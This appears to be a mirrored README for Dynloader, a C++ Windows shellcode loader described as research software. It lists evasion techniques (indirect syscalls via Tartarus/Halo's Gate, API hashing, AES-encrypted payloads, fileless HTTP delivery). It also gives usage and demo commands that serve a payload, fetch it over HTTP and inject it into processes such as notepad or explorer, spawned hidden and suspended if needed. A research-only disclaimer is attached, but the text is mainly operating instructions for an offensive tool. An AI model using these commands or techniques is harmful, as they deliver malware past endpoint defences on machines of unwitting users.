mirror of
https://github.com/AbishekPonmudi/Dynloader
synced 2026-07-15 03:39:09 +00:00
266 lines
11 KiB
Markdown
266 lines
11 KiB
Markdown
# Dynloader
|
||
|
||
**Modular Windows loader using C++**
|
||
|
||
For **[usage](#usage)** and **[testing / demo](#demo)**.
|
||
|
||
---
|
||
|
||
## Overview
|
||
|
||
**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts. The current version supports shellcode staging only — planned work is under **[Planned features](#planned-features)**.
|
||
|
||
It can:
|
||
|
||
- Load shellcode from a local `.bin` file
|
||
- Fetch shellcode **filelessly** over HTTP (optional AES-256-CBC at runtime)
|
||
- Inject into a target by **PID** or **process name**
|
||
- Spawn a missing process **headless** (suspended + hidden), inject, then resume
|
||
|
||
Core evasion and resolution primitives are provided by **[Dynveil](https://github.com/Abishekponmudi/dynveil)** (`lib/`) — a reusable library that implements PEB/PE parsing, API hashing, Tartarus Gate indirect syscalls, section mapping, AES crypto, and HTTP transport. Dynloader is the CLI + ingestion orchestration layer on top of Dynveil.
|
||
|
||
---
|
||
|
||
## Disclaimer
|
||
|
||
This project is **for educational and research purposes only**.
|
||
|
||
It is designed to help understand:
|
||
|
||
- Windows PE internals
|
||
- Manual loading techniques
|
||
- Reverse engineering concepts
|
||
|
||
Do **not** use this software on systems you do not own or do not have explicit permission to test. The authors take no responsibility for misuse.
|
||
|
||
---
|
||
|
||
## Features
|
||
|
||
- **Manual PE mapping / parsing** — PEB + LDR walk and export (EAT) resolution without normal `GetProcAddress` name strings
|
||
- **Indirect syscalls via Tartarus Gate** — SSN extraction with **Hell’s Gate / Halo’s Gate / HellHell** style recovery when stubs look hooked; invoke via ntdll `syscall; ret` gadget
|
||
- **Section mapping** — `NtCreateSection` + `NtMapViewOfSection` / unmap as alternate staging path
|
||
- **Dynamic API resolution** — resolve modules and exports at runtime through Dynveil
|
||
- **API hashing** — djb2 hashes; no plaintext API names for resolved exports
|
||
- **AES-256-CBC** — encrypt offline; decrypt at runtime (file or fileless key fetch)
|
||
- **Local & remote ingestion** — self-process run or inject into another process
|
||
- **Fileless HTTP server/client** — serve and pull payload + optional key material
|
||
|
||
---
|
||
|
||
## Evasion techniques
|
||
|
||
| Technique | Feature |
|
||
|-----------|---------|
|
||
| **Manual PE Mapping** | Manual module + export resolution without `GetProcAddress` strings |
|
||
| **Indirect syscall via Tartarus Gate (Hell's, Halo's, HellHell)** | Indirect syscalls via ntdll `syscall; ret` gadget (bypasses usermode hooks on `Nt*` prologues). Halo’s Gate recovers SSNs when ntdll stubs are hooked |
|
||
| **API hashing** | Resolves exports by djb2 hash — no plaintext API names in the binary |
|
||
| **Section mapping** | `NtCreateSection` + `NtMapViewOfSection` as alternate staging backend |
|
||
| **Minimal IAT** | NT path via syscalls; Win32 only where needed (`CreateThread` / `CreateRemoteThread`, hashed) |
|
||
| **W^X staging** | `NtAllocateVirtualMemory` RW → write → `NtProtectVirtualMemory` RX (no RWX) |
|
||
| **Payload encryption AES-256-CBC** | Encrypted payload + dynamic key fetch (fileless) |
|
||
| **Fileless HTTP** | No payload file on disk at runtime — fetch from `/api/v1/payload` |
|
||
| **Headless spawn** | Target process started suspended + hidden before remote inject |
|
||
|
||
---
|
||
|
||
## Background — Dynveil
|
||
|
||
**[Dynveil](https://github.com/Abishekponmudi/dynveil)** is the shared research library under `lib/`. Dynloader does **not** reimplement every technique inline; it calls Dynveil modules for the heavy lifting.
|
||
|
||
**Repo:** https://github.com/Abishekponmudi/dynveil
|
||
|
||
What Dynveil provides:
|
||
|
||
- **Manual PE parser** — walk PEB → LDR lists, locate modules, walk the export address table
|
||
- **Dynamic API resolver** — hash-based export resolve (`kernel32`, `ntdll`, `bcrypt`, `ws2_32`, …)
|
||
- **Tartarus Gate** — SSN resolve (Hell’s / Halo’s / HellHell-style paths), build per-API **stubs**, jump to a shared ntdll **`syscall; ret` gadget**
|
||
- **Section map helpers** — create section, map view, protect, unmap, cleanup
|
||
- **Crypto** — AES-256-CBC key material, encrypt/decrypt, pack/unpack key blobs
|
||
- **HTTP transport** — minimal fileless client + in-memory server for lab delivery
|
||
|
||
---
|
||
|
||
## How it works
|
||
|
||
1. **Parse CLI** — mode: local / remote (`--process`) / fileless / server / encrypt / self-test.
|
||
2. **Init Dynveil syscalls** — Tartarus Gate builds SSNs + indirect stubs (shared ntdll gadget).
|
||
3. **Get shellcode**
|
||
- **Disk:** read `.bin` (or ciphertext if decrypt path applies)
|
||
- **Fileless:** `GET /api/v1/payload` and, if AES, `GET /api/v1/key` then decrypt at runtime
|
||
4. **Choose ingestion**
|
||
- **`--process` set → remote**
|
||
- **else → local**
|
||
5. **Local path**
|
||
- Stage in current process with indirect Nt\* (prefer alloc RW → write → protect RX; section map fallback)
|
||
- Execute with hash-resolved `CreateThread`, wait for exit
|
||
6. **Remote path**
|
||
- Target by **PID** or **process name** (works with many normal user-session binaries; no `SeDebugPrivilege` elevation assumed)
|
||
- Discover by name via **`NtQuerySystemInformation`** (SystemProcessInformation) over Tartarus Gate
|
||
- If name not running → **headless spawn** (`CREATE_SUSPENDED` + no window), inject, **ResumeThread**
|
||
- Open process: prefer **`NtOpenProcess`**, fallback hashed **`OpenProcess`**
|
||
- Stage: `NtAllocateVirtualMemory` → `NtWriteVirtualMemory` → `NtProtectVirtualMemory` (RX)
|
||
- Run: hash-resolved **`CreateRemoteThread`**
|
||
7. **Done** — local thread completes or remote thread is created; handles cleaned up.
|
||
|
||
Same staging/execution ideas apply whether bytes came from disk or from the fileless server.
|
||
|
||
---
|
||
|
||
## Building
|
||
|
||
**Prerequisites:** Windows 10/11 x64, MSVC C++ toolchain (VS 2019/2022/18 or **Build Tools** with *Desktop development with C++*). Internet + admin only needed for first-time auto-install.
|
||
|
||
```bat
|
||
build.bat :: Release x64 → x64\Release\loader.exe
|
||
build.bat debug :: Debug x64
|
||
build.bat clean :: Clean
|
||
build.bat --install :: Install minimal VS Build Tools if missing, then build
|
||
```
|
||
|
||
`build.bat` finds MSBuild via `vswhere`, picks a compatible toolset (`v145` / `v143` / `v142`), and builds `loader.sln`. On a machine with no compiler, `--install` pulls official Build Tools + C++ workload (winget or bootstrapper).
|
||
|
||
---
|
||
|
||
## Usage
|
||
|
||
```text
|
||
LOCAL
|
||
loader.exe <file.bin> [--verbose]
|
||
loader.exe --process <name|PID> <file.bin> [--verbose]
|
||
loader.exe --enc AES <file.bin> [--verbose]
|
||
|
||
FILELESS
|
||
loader.exe --fileless --source <host[:port]> [--verbose]
|
||
loader.exe --fileless --source <host> --enc AES [--verbose]
|
||
loader.exe --fileless --source <host> --process <name|PID> [--enc AES] [--verbose]
|
||
|
||
SERVER
|
||
loader.exe --server <file.bin> [--port 8080] [--verbose]
|
||
loader.exe --server --enc AES <file.bin> [--port 8080] [--verbose]
|
||
```
|
||
|
||
### HTTP endpoints (server)
|
||
|
||
| Path | Purpose |
|
||
|------|---------|
|
||
| `GET /api/v1/payload` | Shellcode (plain or ciphertext) |
|
||
| `GET /api/v1/key` | AES key material (when encrypted) |
|
||
| `GET /api/v1/health` | Health check |
|
||
|
||
---
|
||
|
||
## Demo
|
||
|
||
### 1) Self-test
|
||
|
||
```bat
|
||
loader.exe --selftest --verbose
|
||
```
|
||
|
||
Checks PEB resolve, Tartarus init path, and AES roundtrip.
|
||
|
||
### 2) Local shellcode
|
||
|
||
```bat
|
||
loader.exe payload.bin --verbose
|
||
```
|
||
|
||
### 3) Remote by process name
|
||
|
||
```bat
|
||
loader.exe --process notepad payload.bin --verbose
|
||
```
|
||
|
||
If `notepad` is not running, Dynloader spawns it headless, injects, resumes.
|
||
|
||
- Target by **PID** or **process name** (e.g. `notepad` / `1234`) — supports many legitimate binaries in the same session without elevation (`!SeDebugPrivilege` not required for same-integrity targets)
|
||
- Process discovery via **`NtQuerySystemInformation`** (SystemProcessInformation) over Tartarus Gate
|
||
- If the named process is **not running** → spawn **headless** (`CREATE_SUSPENDED` + no window), inject, then resume
|
||
- Remote stage: `NtAllocateVirtualMemory` → `NtWriteVirtualMemory` → `NtProtectVirtualMemory` (RX)
|
||
- Remote run: hash-resolved `CreateRemoteThread`
|
||
- Open target prefers `NtOpenProcess`, falls back to hashed `OpenProcess`
|
||
|
||
### 4) Remote by PID
|
||
|
||
```bat
|
||
loader.exe --process 4568 payload.bin --verbose
|
||
```
|
||
|
||
### 5) Encrypt + serve + fileless client
|
||
|
||
**Terminal A — server** (host shellcode remotely):
|
||
|
||
```bat
|
||
loader.exe --server --enc AES payload.bin --port 8080 --verbose
|
||
```
|
||
|
||
**Terminal B — client** (target machine, local run):
|
||
|
||
```bat
|
||
loader.exe --fileless --source 127.0.0.1:8080 --enc AES --verbose
|
||
```
|
||
|
||
**Terminal B — client** (target machine, remote inject):
|
||
|
||
```bat
|
||
loader.exe --fileless --source 127.0.0.1:8080 --enc AES --process explorer --verbose
|
||
```
|
||
|
||
### 6) Offline encrypt only
|
||
|
||
```bat
|
||
loader.exe --enc AES payload.bin --verbose
|
||
```
|
||
|
||
Writes `.enc` + `.key` next to the input for lab packaging.
|
||
|
||
---
|
||
|
||
## Planned features
|
||
|
||
- **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`)
|
||
- **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs
|
||
- **Threadless execution** — move off classic thread APIs toward [thread pool](https://oioio-space.github.io/maldev/techniques/injection/thread-pool.html) based execution
|
||
- **Full section mapping** — prefer section-based staging over native thread-centric paths where possible
|
||
- **Section storming** — multi-section staging patterns for research labs
|
||
- **HTTPS encrypted channel** — harden fileless delivery from plain HTTP to HTTPS
|
||
|
||
---
|
||
|
||
## Project layout
|
||
|
||
```text
|
||
.
|
||
├── loader/ # Dynloader — CLI, modes, local/remote ingestion
|
||
│ ├── main.cpp
|
||
│ ├── cli.cpp / cli.hpp
|
||
│ ├── loader_core.cpp / loader_core.hpp
|
||
│ └── ingestion.cpp / ingestion.hpp
|
||
├── lib/ # Dynveil — https://github.com/Abishekponmudi/dynveil
|
||
│ ├── common/ # hashes, logging, NT types
|
||
│ ├── pe/ # PEB / PE / EAT parser
|
||
│ ├── resolve/ # dynamic API resolution
|
||
│ ├── syscall/ # Tartarus Gate indirect syscalls
|
||
│ ├── memory/ # section map + staging helpers
|
||
│ ├── crypto/ # AES-256-CBC
|
||
│ └── net/ # fileless HTTP client/server
|
||
├── tools/ # helpers (e.g. hash dump)
|
||
├── server.sh # optional server helper script
|
||
└── README.md
|
||
```
|
||
|
||
---
|
||
|
||
## Notes
|
||
|
||
- Indirect syscalls cover Dynveil’s **Nt\*** table (memory, open, process enum, sections) — not every Win32 call.
|
||
- Local execute uses hashed `CreateThread`; remote uses hashed `CreateRemoteThread`.
|
||
- Fileless transport is plain HTTP today (lab-oriented); HTTPS is planned.
|
||
|
||
---
|
||
|
||
## License / ethics
|
||
|
||
Research & education only. Use on lab VMs you control. Stay legal.
|